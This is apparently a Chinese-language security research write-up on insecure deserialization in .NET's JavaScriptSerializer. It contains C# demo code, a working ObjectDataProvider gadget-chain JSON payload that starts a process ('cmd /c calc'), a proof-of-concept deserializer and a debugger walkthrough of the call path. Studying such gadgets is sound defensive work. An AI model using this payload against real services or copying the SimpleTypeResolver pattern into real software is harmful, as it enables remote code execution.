JavaScriptSerializer

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
using System;
using System.Web.Script.Serialization;

namespace JavaScriptDeserialize
{
class Person
{
public string Name { get; set; }

}
class Program
{
static void Main(string[] args)
{
// no SimpleTypeResolver
Person person = new Person() { Name = "jack" };
JavaScriptSerializer serializer = new JavaScriptSerializer();
string v = serializer.Serialize(person);
Console.WriteLine(v);
Person p = serializer.Deserialize<Person>(v);
Console.WriteLine(p.Name);

// SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
string v1 = serializerWithType.Serialize(person);
Console.WriteLine(v1);
Person p1 = serializerWithType.Deserialize<Person>(v1);
Console.WriteLine(p1.Name);
Console.ReadKey();
}
}
}

输出

1
2
3
4
{"Name":"jack"}
jack
{"__type":"JavaScriptDeserialize.Person, ConsoleApplication2, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null","Name":"jack"}
jack

这个类和DataContractJsonSerializer类有点类似 传需要的参数进去序列化内容才会有__type

产生漏洞的原因是在构造函数有两个参数的重载:public JavaScriptSerializer(JavaScriptTypeResolver resolver),其中JavaScriptTypeResolver参数是一个类型解析器,可在序列化字符串中自定义类型的元数据程序集限定名称。

image-20240313163841170

当构造函数使用SimpleTypeResolver参数时,序列化的json中会带有type信息,反序列化时就有漏洞隐患。反序列化方法有三个:

Gadgets

使用ObjectDataProvider攻击链,通过ObjectDataProvider来创建Process实例。payload如下:

1
2
3
4
5
6
7
8
9
10
11
{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c calc'
}
}
}

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
using System;
using System.IO;
using System.Web.Script.Serialization;

namespace JavaScriptDeserialize
{
class Program
{
static void Main(string[] args)
{
// SimpleTypeResolver
JavaScriptSerializer serializerWithType = new JavaScriptSerializer(new SimpleTypeResolver());
serializerWithType.Deserialize<Object>(File.ReadAllText("1.json"));
// Console.ReadKey();
}
}
}

image-20240313170356169

JavaScriptSerializer的Deserialize函数中

image-20240313170432985

在此进入到deserialized函数中

image-20240313170509348

然后接着进入到BasicDeserialize函数中

image-20240313170539219

发现其调用的我们payload中的__type参数 然后进入到ConvertObjectToType这个函数中

image-20240313170627526

然后在ConvertDictionaryToObject函数中一步一步的将我们传入的__type参数里的值转化为对象

image-20240313172256774

然后最后在进入到Process的Start函数中就结束了